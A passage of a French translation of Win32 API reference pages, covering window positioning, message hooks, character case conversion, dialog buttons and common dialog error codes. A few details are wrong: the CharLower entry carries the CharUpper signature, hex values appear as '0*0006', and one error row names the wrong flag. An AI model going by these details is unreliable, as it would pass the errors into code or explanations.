hwnd 	 	 Identifie la fenêtre parente.

Retours
La valeur de retour est la hauteur d'une rangée d'icônes si la fonction est couronnée de succès. Autrement, c'est zéro.

Commentaires

Une application qui entretient ses propres fenêtres enfant réduites au minimum peut appeler cette fonction pour réarranger des icônes dans une fenêtre sur son Secteur Client. Cette fonction réarrange également les icônes sur le bureau, qui couvre l'écran en entier. La fonction GetDesktopWindow retrouve le handle de la fenêtre du bureau.
L'application envoie le message WM_MDIICONARRANGE à la fenêtre client (MDI) pour inciter la fenêtre client à réarranger ses fenêtres enfant réduites au minimum (MDI).

Voir Aussi

GetDesktopWindow


BeginDeferWindowPos (Win32)

HDWP BeginDeferWindowPos(cWindows)

int cWindows;	/* nombre de fenêtres */
La fonction BeginDeferWindowPos réserve de la mémoire pour une structure contenant des données de 'position de fenêtres multiples' et renvoie le handle de cette structure.

Paramètre 	 Description

cWindows 	 Spécifie le nombre initial de fenêtres pour lesquels les informations de
         position doivent être stockées dans cette structure. La fonction
         DeferWindowPos augmente la taille de la structure si nécessaire.
Retours

La valeur en retour identifie la structure 'position de fenêtres multiples'. La valeur en retour est NULL si les ressources système ne sont pas disponibles pour réserver de la mémoire pour cette structure.

Commentaires

La fonction DeferWindowPos remplit cette structure avec les informations de position d'une fenêtre qui est sur le point d'être déplacée. La fonction EndDeferWindowPos accepte cette structure et replace instantanément les fenêtres employant les informations stockées dans la structure.
Si chacune des fenêtres de la structure de 'position de fenêtre multiple' possède le flag SWP_HIDEWINDOW, aucune des fenêtres ne sera replacée.
Si Windows doit augmenter la taille de la structure interne au-delà de la taille initiale indiquée par le paramètre cWindows mais ne peut pas réserver assez de mémoire pour le faire, alors Windows laisse tomber la fenêtre. En spécifiant la taille maximale qu'elle a besoin, l'application peut détecter l'échec de la manipulation dans les tous premiers calculs du processus.

Voir Aussi

DeferWindowPos, EndDeferWindowPos


BringWindowToTop (Win32)

BOOL BringWindowToTop(hwnd)

HWND hwnd;	/* handle de la fenêtre enfant*/
Quand vous avez un document MDI (Multiples Documents Interface) c'est à dire une grand fenêtre (parente qui contient plusieurs autres petites fenêtres (enfants) dans elle-même, la fonction BringWindowToTop fait apparaître une des fenêtre enfant ou une fenêtre popup (minimisée) par dessus les autres fenêtres. Cette fonction met au premier plan une fenêtre MDI enfant ou enfant-minimisé. De plus, elle active cette fenêtre MDI.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre enfant ou popup a placer au premier plan.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Commentaires

Cette fonction est employée pour découvrir entièrement n'importe quelle fenêtre qui soit partiellement ou complètement occulté par d 'autres fenêtres Overlappées.
L'appel de cette fonction est semblable à l'appel de la fonction SetWindowPos pour changer la position d'une fenêtre dans l'ordre Z. La fonction BringWindowToTop n'attribue pas un indice de plus haut niveau spécialement à une fenêtre.

Voir Aussi

SetWindowPos


CallMsgFilter (Win32)

BOOL CallMsgFilter(lpmsg, nCode)

LPMSG lpmsg;	/* adresse de la structure avec le message de donnée */
int nCode;	/* code hook */
La fonction CallMsgFilter passe le message indiqué et le code hook aux procédures de hook associées aux hooks WH_MSGFILTER et WH_SYSMSGFILTER. Les procédures de Hook WH_SYSMSGFILTER et WH_MSGFILTER sont des fonctions callback qu'on définies dans l'application, lesquelles examinent et si nécessaire modifient certains messages d'une DialogBox, d'une MessageBox, d'un menu, ou d'une barre de défilement. L'application doit installer une procédure d'hook en employant la fonction SetWindowsHookEx.

Paramètre 	 Description

lpmsg		 Pointe sur une structure de MESSAGE, laquelle contient le message à passer aux
         procédures d'hooks.
nCode 	 	 Représente un code défini dans l'application(dans le programme) utilisé par
         la procédure d'hook pour qu'elle sache comment traiter le message. Le code ne
         doit pas être en conflit avec les codes d'hook définis par le système
         (MSGF_ et HC _) associé aux Hooks WH_MSGFILTER et le WH_SYSMSGFILTER.

Retours
La valeur en retour est un NULL si l'application doit traiter le message une autre fois. Cette valeur en retour est non nulle si l'applicaiton doit traiter le message.

Commentaires

La fonction CallMsgFilter est appelée par Windows pour laisser d'autres applications espionner et contrôler le flux de messages pendant le traitement interne d'une DialogBox, des d'une MessageBox, d'un menu ou d'une barres de Scrolling, ou bien encore lorsque l'utilisateur active une autre fenêtre en appuyant sur ALT+TAB ou ALT+ESC.

Voir Aussi

MessageProc, SetWindowsHookEx, SysMsgProc


CallNextHookEx (new for Win32)

LRESULT CallNextHookEx(hhk, nCode, wParam, lParam)

HHOOK hhk;	/* handle du hook courant */
int nCode;	/* code hook à passer à la procédure de hook */
WPARAM wParam;	/* wParam à passer à la procédure de hook */
LPARAM lParam;	/* lParam à passer à la procédure de hhok */

La fonction CallNextHookEx passe l'information de hook à la prochaine procédure de hook.

Paramètre 	 Description

hhk 	 	 Identifie le hook courant . L'application reçoit cet handle suite à un Call
         précédent de la fonction SetWindowsHookEx.
nCode 	 	 Représente le code de hook a passer à la procédure de hook. La procédure de
         hook utilise ce code pour savoir ce qu'on souhaite faire de cette information
         de hook. (la procédure de hook traite le code de hook, comme une procédure de
         fenêtre traite les messages de fenêtres WM_)
wParam 	 	 Représente le paramètre wParam a passer à la procédure de hook.
         La signification de ce paramètre dépend du type de hook associé à la chaîne
         de hook courante.
lParam 	 	 Représente le paramètre lParam a passer à la procédure de hook.
         La signification de ce paramètre dépend du type de hook associé à la chaîne
         de hook courante.

Retours
La valeur en retour est la valeur renvoyée par la procédure de hook. Le la procédure de hook suivante doit aussi renvoyer cette valeur. La signification de la valeur en retour dépend du type de hook. Pour plus d'informations, voyez les descriptions individuelles de chacune des procédures hook.

Commentaires

Les procédures de hook sont installées à la chaîne pour des types de hook particuliers. CallNextHookEx appelle le hook suivant dans la chaîne.

L'appel de la fonction CallNextHookEx est facultatif. Une procédure de hook peut appeler cette fonction soit avant soit après la fin du traitement de l'information de hook. Si une procédure de hook n'appelle pas CallNextHookEx, Windows n'appellera pas les procédures de hook qui ont été installées avant le la procédure de hook courante.

Voir Aussi

SetWindowsHook, SetWindowsHookEx, UnhookWindowsHook, UnhookWindowsHookEx


CallWindowProc (Win32)

LRESULT CallWindowProc(wndprcPrev, hwnd, uMsg, wParam, lParam)

WNDPROC wndprcPrev;	/* adresse de l'Instance de la procédure précédante */
HWND hwnd;		/* handle de la fenêtre */
UINT uMsg;		/* message */
WPARAM wParam;	   	/* premier parametère associé à ce message */
LPARAM lParam;	   	/* second parametère associé à ce message */

La fonction CallWindowProc passe le message à la procédure de fenêtre indiquée.

Paramètre 	 Description

wndprcPrev 	 Spécifie l'adresse de la procédure de fenêtre précédente.
hwnd 	 	 Identifie la fenêtre qui reçoit le message.
uMsg 	 	 Contient le message.
wParam 	 	 Est une information complémentaire (s'il yen a une) associée à ce message.
lParam 	 	 Est une information complémentaire (s'il yen a une) associée à ce message.

Retours

La valeur en retour est le résultat du traitement du message et dépend du message envoyé.

Commentaires
La fonction CallWindowProc est utilisée pour la sousclassification des fenêtres. Normalement, toutes les fenêtres possédant une même 'Class' partagent la même procédure de fenêtre. Une sous-classe est une fenêtre ou groupe de fenêtres appartenant à la même 'Class de fenêtre' dont les messages sont interceptés et traités par une autre procédure de fenêtre (ou d'autres procédures) avant de la passer à la procédure de fenêtre de cette Class.

La fonction SetWindowLong crée la sous-classe en changeant la procédure de fenêtre associée à une fenêtre particulière, en faisant que Windows appelle la nouvelle procédure de fenêtre au lieu de la précédente. On doit passer n'importe quels messages non traités par la nouvelle procédure de fenêtre à la procédure de fenêtre précédente en appelant CallWindowProc. Ceci permet la création d'une chaîne de procédures de fenêtre.

Voir Aussi

SetWindowLong


CallWndProc (Win32)

LRESULT CALLBACK CallWndProc(nCode, wParam, lParam)

int nCode;	/* Flag d'action */
WPARAM wParam;	/* flag de la tâche courante */
LPARAM lParam;	/* pointe sur la structure ayant la donnée message */
La fonction CallWndProc est une fonction callback qu'on définit dans une DLL, cette DLL sera appelée par le system à chaque fois que la fonction SendMessage est appelée. Le système passe le message à cette fonction callback avant de le passager à la procédure de fenêtre pour laquelle il était destiné.

Paramètre 	 Description

nCode 	 	 Indique si la fonction callback doit traiter ce message ou bien si elle doit
         le passer à la fonction CallNextHookEx. Si nCode est égal à HC_ACTION, la
         fonction callback traitera le message. Si nCode est une valeur négative,
         la fonction Callback passera le message à CallNextHookEx.
wParam 	 	 Spécifie si le message est envoyé par le process actuel. wParam est non nul
         si le message est envoyé par le process actuel; autrement, il est  NULL.
lParam 	 	 Pointe sur une structure CWPSTRUCT laquelle contient des détails du message.

Retours

La fonction callback doit renvoyer un NULL.

Commentaires
La fonction callback CallWndProc peut espionner ou modifier le message comme elle le désiré. Une fois avoir contrôlé le retours de fonction du système, on passe le message à la procédure de fenêtre, en l'ayant modifié à notre convenance si on le désire.

L'application doit installer la fonction callback en spécifiant le type de filtre WH_CALLWNDPROC et l'adresse de la fonction callback en appelant la fonction SetWindowsHookEx.
CallWndProc est un placeholder définit pour l'application, son nom de fonction est défini dans la bibliothèque. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, SendMessage, SetWindowsHookEx


CBTProc (Win32)

LRESULT CALLBACK CBTProc(nCode, wParam, lParam)

int nCode;	/* code de hook CBT */
WPARAM wParam;	/* dépend du paramètre nCode */
LPARAM lParam;	/* dépend du paramètre nCode */
La fonction CBTProc est une fonction callback qu'on définit dans l'application ou dans une DLL, elle est appelée par le système avant l'exécution de chacune des opérations suivantes :
- Activation d'une fenêtre.
- Création ou destruction d'une fenêtre.
- Minimisation ou maximisation d'une fenêtre.
- Déplacement ou classement par taille d'une fenêtre.
- Achèvement d'une commande Système.
- Enlèvement d'un événement souris ou clavier de la file d'attente des messages.
- Obtention du Focus (du centre d'entrée).
- Synchronisation de la file d'attente des messages avec le système.

La valeur retournée par cette fonction callback décide s'il faut permettre ou empêcher
l'opération.

Paramètre 	 Description

nCode 	 	 Représente le code de hook CBT qui identifie l'opération étant sur le point
         d'être effectuée, ou une valeur négative si la fonction callback doit passer
         les paramètres nCode, wParam et lParam à la fonction CallNextHookEx. La liste
         suivante décrit les codes de hook CBT :

            Code 	  	     Signification

         HCBT_ACTIVATE 	     Indique que le système est sur le point d'activer une
                      fenêtre.
         HCBT_CLICKSKIPPED   Indique que le système a enlevé un message souris de la
                      file d'attente des messages du système. Une application
                     CBT qui a besoin d'installer un journal_d'événements
                     antérieur pour filtrer la réponse du message souris
                     pour savoir quoi faire quand elle reçoit ce code de hook.
         HCBT_CREATEWND      Indique qu'une fenêtre est sur le point d'être créée. Le
                      système appelle la fonction callback avant d'envoyer le
                     message WM_CREATE à la fenêtre. Si la fonction callback
                     retourne un TRUE, alors le système détruira la fenêtre
                     mais n'enverra pas le message WM_DESTROY à la fenêtre.
         HCBT_DESTROYWND     Indique qu'une fenêtre est sur le point d'être détruite.
         HCBT_KEYSKIPPED     Indique que le système a enlevé un message clavier de la
                      file d'attente des messages du système. Une application
                     CBT qui a besoin d'installer journal_d'événements
                     antérieur pour filtrer la réponse du message clavier
                     pour savoir quoi faire quand elle reçoit ce code de hook.
         HCBT_MINMAX 	     Indique qu'une fenêtre est sur le point d'être réduite au
                      minimum ou maximisée.
         HCBT_MOVESIZE 	     Indique qu'une fenêtre est sur le point d'être déplacée
                      ou redimensionnée.
         HCBT_QS 	     Indique que le système a retrouvé un message WM_QUEUESYNC
                      dans la file d'attente des messages du système.
         HCBT_SETFOCUS 	     Indique qu'une fenêtre est sur le point de recevoir le
                      centre d'entrée (le Focus).
         HCBT_SYSCOMMAND     Indique qu'une commande système est sur le point d'être
                      effectuée. Ça permet à une application CBT d'empêcher la
                     commutation de tâche par les Hot Key (Alt, Tab..).

wParam 	 	 Ce paramètre dépend du paramètre nCode. Voyez la section des Commentaires qui
         suit pour les détails.
lParam 	 	 Ce paramètre dépend du paramètre nCode. Voyez la section des Commentaires qui
         suit pour les détails.

Retours
Pour des opérations correspondant aux codes de hook CBT suivants, la fonction callback doit renvoyer un NULL pour permettre l'opération, ou 1 pour l'empêcher :
HCBT_ACTIVATE
HCBT_CREATEWND
HCBT_DESTROYWND
HCBT_MINMAX
HCBT_MOVESIZE
HCBT_SYSCOMMAND

La valeur en retour est ignorée pour des opérations correspondant aux codes de hook CBT
suivants :

HCBT_CLICKSKIPPED
HCBT_KEYSKIPPED
HCBT_QS

Commentaires

La fonction callback ne doit pas installer un hook playback sauf dans les situations décrites dans la liste des codes de hook précédente.
L'application doit installer la fonction callback en spécifiant le type de filtre WH_CBT et l'adresse de la fonction callback en appelant la fonction SetWindowsHookEx.
CBTProc est un placeholder du nom d'une fonction prédéfini dans l'aplication ou une Dll. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (dans un fichier *def).

La table suivante décrit les paramètres wParam et lParam de chaque constantes HCBT_.

Constantes | wParam | lParam
HCBT_ACTIVATE | spécifie le handle de la fenêtre étant sur le point d'être activée. | Est un pointeur 32bits sur la structure CBTACTIVATE STRUCT laquelle contient le handle de la fenêtre actuellement active et indique si l'activation change à cause d'un clic de la souris.
HCBT_CLICKSKIPPED | Identifie qu'un message souris est supprimé de la file d'attente des messages du système. | Est un pointer 32bits sur une structure MOUSEHOOK STRUCT laquelle contient le hit-code(code dans la partie haute du Dword) et le handle de la fenêtre pour laquelle le message souris est destiné. Voir la description du message WM_NCHITTEST pour une liste des hit-codes.
HCBT_CREATEWND | Contient le handle de la nouvelle fenêtre. | Est un pointeur 32bit sur une structure de données CBT_CREATEWND laquelle contient certains paramètres d'initialisation pour la fenêtre.
HCBT_DESTROYWND | Contient le handle de la fenêtre étant sur le point d'être détruite. | Ce paramètre est non défini; il doit être mis à 0L.
HCBT_KEYSKIPPED | Identifie le code de la touche virtuelle. | Représente le nb de répétition, le scan-code, le code de transmission de la touche, l'état précédent de la touche et le code du contexte. Voir la description des messages WM_KEYUP ou WM_KEYDOWN pour plus d'informations.
HCBT_MINMAX | Contient le handle de la fenêtre étant réduite au minimum ou maximisée. | Le Word de poids faible contient une valeur d'affichage (SW_ *) qui spécifie l'opération. Voir la description de la fonction ShowWindow pour la liste des valeurs d'affichages. Le Word de poids fort est indéfini.
HCBT_MOVESIZE | Contient le handle de la fenêtre à déplacer ou redimensionner. | Est un pointer 32bit sur une structure RECT laquelle contient les coordonnées de la fenêtre.
HCBT_QS | Ce paramètre est indéfini; il doit être mis à 0. | Ce paramètre est indéfini; il doit être mis à 0L.
HCBT_SETFOCUS | Contient le handle de la fenêtre récupérant le focus. | Le Word de poids faibles contient le handle de la fenêtre perdant le Focus. Le Word de poids fort est indéfini.
HCBT_SYSCOMMAND | Représente une valeur de commande système (SC_ *) laquelle indique la commande système. Voir la description du message WM_SYSCOMMAND pour plus d'informations à propos des valeurs de commande système. | Si wParam est SC_HOTKEY, le Word de poids faible contient le handle de la fenêtre que la commutation de tâche apportera au premier plan; Sinon wParam doit être indéfini.

Voir Aussi

CallNextHookEx, SetWindowsHookEx, CBTACTIVATESTRUCT, CBT_CREATEWND, RECT


CharLower (new for Win32)

LPTSTR CharUpper(lpszString)

LPTSTR lpszString;	/* adresse de la chaîne de caractères, ou caractère spécifique */

La fonction CharLower convertit une chaîne de caractères en une chaîne totalement en Minuscule.

Paramètre 	 Description

lpszString 	 Pointe sur une chaîne de caractères terminée par un nul, ou bien sur un simple
         caractère. Si le WORD de poids fort de ce paramètre est NULL, alors le WORD de
         poids faible doit contenir le caractère simple à convertir.

Retours
La valeur en retour pointe sur la chaîne de caractères convertie (si le paramètre de cette fonction est une chaîne de caractères). Autrement, la valeur en retour contient le simple caractère converti.

Commentaires

La conversion est faite par le Driver de langue pour la langue actuelle choisie par l'utilisateur lors de l'installation ou grâce au Panneau de configuration. Si aucun Driver de langue n'a été choisi, Windows emploie une fonction interne.

La fonction CharLower peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

CharUpper, CharUpperBuff


CharUpper (new for Win32)

LPTSTR CharUpper(lpszString)

LPTSTR lpszString;	/* adresse de la chaîne de caractères, ou caractère spécifique */

La fonction CharUpper convertit une chaîne de caractères en un chaîne totalement en Majuscule.

Paramètre 	 Description

lpszString 	 Pointe sur une chaîne de caractères terminée par un nul, ou bien sur un simple
         caractère. Si le WORD de poids fort de ce paramètre est NULL, alors le WORD de
         poids faible doit contenir le caractère simple à convertir.

Retours
La valeur en retour pointe sur la chaîne de caractères convertie (si le paramètre de cette fonction est une chaîne de caractères). Autrement, la valeur en retour contient le simple caractère converti.

Commentaires

La conversion est faite par le Driver de langue pour la langue actuelle choisie par l'utilisateur lors de l'installation ou grâce au Panneau de configuration. Si aucun Driver de langue n'a été choisi, Windows emploie une fonction interne.

La fonction CharUpper peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

CharLower, CharUpperBuff


CheckDlgButton (Win32)

BOOL CheckDlgButton(hwndDlg, idButton, uCheck)

HWND hwndDlg;	/* handle de la DialogBox */
int idButton;	/* n°ID du bouton (du Control de type button) */
UINT uCheck;	/* état de vérification */
La fonction CheckDlgButton sélectionne (place un checkmark (un petit 'v' ou 'x' de vérification)) ou purifie (enlève un checkmark) du bouton (du Control), ou bien il change l'état d'un 'bouton à trois états'.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox qui contient le bouton.
idButton 	 Identifie le bouton à modifier.
uCheck 	 	 Spécifie l'état du bouton. Si ce paramètre est non nul, CheckDlgButton met le
         bouton à l'état sélectionné; si le paramètre est NULL, la fonction met le
         bouton à l'état désélectionné.
         Pour un bouton de type case à cocher à trois états, si uCheck est mis à 2,
         le bouton est grisé; si uCheck est mis à 1, il est sélectionné; si uCheck
         est mis à 0, il est désélectionné.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Utilisez la fonction GetLastError pour obtenir des 'informations à propos de
l'erreur étendue.

Commentaires

La fonction CheckDlgButton envoie le message BM_SETCHECK au bouton donné de la DialogBox donnée.

Voir Aussi

CheckRadioButton, IsDlgButtonChecked, BM_GETCHECK, BM_SETCHECK


CheckMenuItem (Win32)

DWORD CheckMenuItem(hmenu, idCheckItem, fuFlags)

HMENU hmenu;		/* handle du menu */
UINT idCheckItem;	/* item to check or uncheck */
UINT fuFlags;		/* flags concernants l'Item */

La fonction CheckMenuItem place la petite marque 'vérifié' (un petit V) devant un Item du menu, ou bien il enlève cette marque.

Paramètre 	 Description

hmenu 	 	 Identifie le menu.
idCheckItem 	 Indique l'item dont on souhaite s'occuper, l'interprétation de ce paramètre
         dépend du paramètre fuFlags.
fuFlags 	 Représente une combinaison de plusieurs Flags, qui d'une part contrôle
         l'interprétation du paramètre idCheckItem et d'autre part place ou enlève
         la marque devant l'item incriminé. Ce paramètre peut être une combinaison
         de soit MF_BYCOMMAND soit MF_BYPOSITION avec soit MF_CHECKED soit
         MF_UNCHECKED.

          Valeur 	 Signification

          MF_BYCOMMAND	 Indique que le paramètre uItem représente le n°ID de l'Item ou
                   l'handle si c'est un menu-popup (c'est le Flag par défaut).
          MF_BYPOSITION  Indique que le paramètre uItem représente la position
                   zéro-basée relative du nouvel item.
          MF_CHECKED 	 Place la petite marque V devant l'Item.
          MF_UNCHECKED 	 Enlève la petite marque V devant l'Item.

Retours

La valeur en retour spécifie l'état précédent de l'item. Ce sera donc soit MF_CHECKED soit MF_UNCHECKED. La valeur en retour est 0xFFFFFFFF (-1) si l'item n'existe pas.

Commentaires

Un item appartenant à une barre de menu ne peut pas posséder de marque de contrôle.

Voir Aussi

EnableMenuItem, GetMenuCheckMarkDimensions, GetMenuItemID, SetMenuItemBitmaps


CheckRadioButton (Win32)

BOOL CheckRadioButton(hwndDlg, idFirstButton, idLastButton, idCheckButton)

HWND hwndDlg;		/* handle de la DialogBox */
int idFirstButton;	/* identifie le premier bouton-radio du groupe */
int idLastButton;	/* identifie le dernier bouton-radio du groupe */
int idCheckButton;	/* identifie le bouton-radio à sélectionner */
<-- un bouton-radio c'est ça.
La fonction CheckRadioButton sélectionne (ajoute un checkmark) un bouton-radio donné parmi plusieurs et purifient (enlève les checkmarks) de tous les autres boutons-radio du groupe.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox qui contient le bouton-radio.
idFirstButton 	 n°ID du premier bouton-radio du groupe.
idLastButton 	 n°ID du dernier bouton-radio du groupe.
idCheckButton 	 n°ID du bouton-radio à choisir.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Utilisez la fonction GetLastError pour obtenir des informations à propos de
l'erreur étendue.

Commentaires

La fonction CheckRadioButton envoie le message BM_SETCHECK au bouton-radio indiqué de la
DialogBox donnée.

Voir Aussi

CheckDlgButton, IsDlgButtonChecked, BM_GETCHECK, BM_SETCHECK


ChildWindowFromPoint (Win32)

HWND ChildWindowFromPoint(hwndOwner, pt)

HWND hwndOwner;	/*handle de la fenêtre parente */
POINT pt;	/* structure contenant les coordinée du point */
La fonction ChildWindowFromPoint détermine quelle fenêtre enfant (s'il yen a une) appartient à la fenêtre parente spécifiée, laquelle contient le point indiqué.

Paramètre 	 Description

hwndOwner 	 Identifie la fenêtre parente.
pt		 Pointe sur une structure POINT laquelle définit les coordonnées du secteur
         client du point à vérifier.
Retours

Si la fonction est couronnée de succès, la valeur en retour identifie la fenêtre enfant qui contient le point. Si le point donné est à l'extérieur de la fenêtre parente, la valeur en retour est NULL. Si le point est dans la fenêtre parente, mais n'est pas contenu dans aucune fenêtre enfant, la valeur en retour est le handle de la fenêtre parente.

Commentaires

Cette fonction renverra le handle d'une fenêtre d'enfant soit cachée, désactivée, ou transparente, qui contient le point indiqué.
Plusieurs fenêtres peuvent contenir ce même point donné, mais Windows renverra uniquement le handle de la première fenêtre rencontrée qui contient le point.

Voir Aussi

WindowFromPoint


ChooseColor (Win32)

BOOL ChooseColor(lpcc)

LPCHOOSECOLOR lpcc;	/* adresse de la structure contenant les données d'initialisation */
La fonction ChooseColor crée une DialogBox prédéfini par le système dont l'utilisateur peut choisir sa couleur.

Paramètre 	 Description

lpcc 	 	 Pointe sur une structure CHOOSECOLOR laquelle contient initialement
         l'information nécessaire pour initialiser la DialogBox. Une fois le retour
         de la fonction CHOOSECOLOR, cette structure contient l'information du choix
         de couleur de l'utilisateur.

Retours
La valeur en retour est TRUE si l'utilisateur choisit une couleur. Et FALSE si une erreur s'est produite, si l'utilisateur choisit le bouton Annulation, ou bien si l'utilisateur choisit la croix de fermeture pour refermer la DialogBox.

Erreurs

Utilisez la fonction CommDlgExtendedError pour retrouver la valeur de l'erreur, qui peut être une des suivantes :

CDERR_FINDRESFAILURE
CDERR_INITIALIZATION
CDERR_LOCKRESFAILURE
CDERR_LOADRESFAILURE
CDERR_LOADSTRFAILURE
CDERR_MEMALLOCFAILURE
CDERR_MEMLOCKFAILURE
CDERR_NOHINSTANCE
CDERR_NOHOOK
CDERR_NOTEMPLATE
CDERR_STRUCTSIZE

Commentaires

La DialogBox ne soutient pas de palettes colorées. Le choix des couleurs offerts par la DialogBox sont limités aux couleurs système et aux versions indécises de ces couleurs.

Si une fonction de hook (pour lequel le membre lpfnHook de la structure CHOOSECOLOR pointe) traite le message WM_CTLCOLOR, cette fonction doit retourner le handle de la brosse qui doit être utilisée pour repeindre le fond du control.


ChooseFont (Win32)

BOOL ChooseFont(lpcf)

LPCHOOSEFONT lpcf;	/* pointe sur une structure contenant les données d'initialisation */
La fonction ChooseFont crée une DialogBox prédéfini par le système avec laquelle l'utilisateur peut choisir une fonte (type d'écriture), un style de fonte (comme gras ou italique), sa taille, un effet (comme souligner) et une couleur.

Paramètre 	 Description

lpcf 	 	 Pointe sur une structure ChooseFont, laquelle contient initialement
         l'information nécessaire pour initialiser la DialogBox. Une fois le
         retour de la fonction ChooseFont, cette structure contient l'information
         du choix de fonte faite par l'utilisateur.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès. Autrement, c'est FALSE.

Erreurs

Utilisez la fonction CommDlgExtendedError pour retrouver la valeur de l'erreur, qui peut être
une des suivantes :

CDERR_FINDRESFAILURE
CDERR_INITIALIZATION
CDERR_LOCKRESFAILURE
CDERR_LOADRESFAILURE
CDERR_LOADSTRFAILURE
CDERR_MEMALLOCFAILURE
CDERR_MEMLOCKFAILURE
CDERR_NOHINSTANCE
CDERR_NOHOOK
CDERR_NOTEMPLATE
CDERR_STRUCTSIZE
CFERR_MAXLESSTHANMIN
CFERR_NOFONTS


CloseHandle (New for Win32)

BOOL CloseHandle(hObject)

HANDLE hObject;	/* est le Handle de l'objet à fermer */

La fonction CloseHandle referme le Handle d'un objet ouvert.

Paramètre 	 Description

hObject 	 Identifie le Handle d'un objet.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Employez la fonction GetLastError pour obtenir l'information à propos de
l'erreur étendue.

Commentaires

Les objets suivants peuvent être fermés en employant la fonction CloseHandle :

- console input or output
- event
- file (including file mappings)
- mutex
- named pipe handle
- process
- semaphore
- thread

La fermeture du Handle d'un objet rend ce Handle invalide. Le numéro du Handle de l'objet
associé est décrémenté et les contrôles de conservation d'objet sont exécutés. Une fois que
le dernier Handle d'un objet est refermée, l'objet est enlevé du système.
Notez que cette fonction ne peut pas être employée pour fermer des modules d'objets.


CloseWindow (Win32)

BOOL CloseWindow(hwnd)

HWND hwnd;	/* handle de la fenêtre à minimiser */
La fonction CloseWindow minimise (mais ne détruit pas) la fenêtre indiquée. Pour détruire une fenêtre, * l'application doit employer la fonction DestroyWindow.
Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre à minimiser.
Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Commentaires

Si la fenêtre est une fenêtre Overlappée, elle est réduit au minimum en enlevant son secteur client et son titre et déplace l'icône de cette fenêtre dans le secteur d'icône de l'écran.
Cette fonction n'a aucun effet si le paramètre hwnd identifie une fenêtre enfant ou popup.

Voir Aussi

IsIconic, OpenIcon


CommDlgExtendedError (Win32)

DWORD CommDlgExtendedError(VOID);
La fonction CommDlgExtendedError identifie la cause de l'erreur la plus récente qui se soit produite pendant l'exécution d'une des procédures des 'Common DialogBox' suivantes :

- ChooseColor
- ChooseFont
- FindText
- GetFileTitle
- GetOpenFileName
- GetSaveFileName
- PrintDlg
- ReplaceText

Retours

La valeur en retour est un NULL si l'appel précédent d'une des procédures des Common Dialog' est couronné de succès. La valeur en retour est CDERR_DIALOGFAILURE si la DialogBox n'a pas pue être créée. Autrement, la valeur en retour est un entier non-nul qui identifie une condition d'erreur.

Commentaires

Voici les valeurs en retour possibles de la fonction CommDlgExtendedError et leur signification à chacunes :

Valeur | Signification
CDERR_FINDRESFAILURE (0*0006) | Indique que la procédure de la 'Common DialogBox' n'a pas réussit à trouver la ressource indiquée. (la box indiquée).
CDERR_INITIALIZATION (0*0002) | Indique que la procédure de la 'Common DialogBox' a échoué pendant l'initialisation. Cette erreur se produit souvent lorsque la mémoire disponible est insuffisante.
CDERR_LOADRESFAILURE (0*0007) | Indique que la procédure de la 'Common DialogBox' n'a pas réussit à charger la ressource indiquée.
CDERR_LOCKRESFAILURE (0*0008) | Indique que la procédure de la 'Common DialogBox' n'a pas réussit à refermer la ressource indiquée.
CDERR_LOADSTRFAILURE (0*0005) | Indique que la procédure de la 'Common DialogBox' n'a pas réussit à charger la chaîne de caractères indiquée.
CDERR_MEMALLOCFAILURE (0*0009) | Indique que la procédure de la 'Common DialogBox' a été incapable de réserver de la mémoire pour d'autres structures internes.
CDERR_MEMLOCKFAILURE (0*000A) | Indique que la procédure de la 'Common DialogBox' a été incapable de refermer la mémoire associée au handle.
CDERR_NOHINSTANCE (0*0004) | Indique que le flag ENABLETEMPLATE a été mis dans le membre 'flags' de la structure correspondante de la 'Common DialogBox', mais que l'application n'a pas réussit à fournir L'Instance du Handle correspondant.
CDERR_NOHOOK (0*000B) | Indique que flag ENABLEHOOK a été mis dans le membre 'flags' de la structure correspondante de la 'Common DialogBox', mais que l'application n'a pas pue fournir un Pointer pour la fonction de hook correspondante.
CDERR_NOTEMPLATE (0*0003) | Indique que flag ENABLEHOOK a été mis dans le membre 'flags' de la structure correspondante de la 'Common DialogBox', mais que l'application n'a pas pue fournir un calibre de boite (un Template) correspondant.
CDERR_REGISTERMSGFAIL (0*000C) | Indique que la fonction RegisterWindowMessage a retounée une valeur d'erreur lorsqu'elle a été appelée par la procédure de la 'Common DialogBox'.
CDERR_STRUCTSIZE (0*0001) | Indique le membre lStructSize de la structure de la Common DialogBox' correspondante est invalide.
CFERR_NOFONTS (0*2001) | Indique qu'aucunes fontes n'existent.
CFERR_MAXLESSTHANMIN (0*2002) | Indique que la taille spécifiée dans le membre nSizeMax de la structure CHOOSEFONT est inférieure à la taille spécifiée dans le membre nSizeMin.
FNERR_BUFFERTOOSMALL (0*3003) | Indique que le buffer recevant le nom d'un fichier est trop petit. (Ce buffer est défini par le membre lpstrFile de la structure de la 'Common DialogBox'.)
FNERR_INVALIDFILENAME (0*3002) | Indique qu'un nom de fichier est invalide.
FNERR_SUBCLASSFAILURE (0*3001) | Indique qu'une tentative de sous-classement une ListBox a échoué à cause d'une insuffisance de mémoire.
FRERR_BUFFERLENGTHZERO (0*4001) | Indique qu'un membre de la structure de la 'Common DialmogBox' correspondante se sert d'un un buffer invalide.
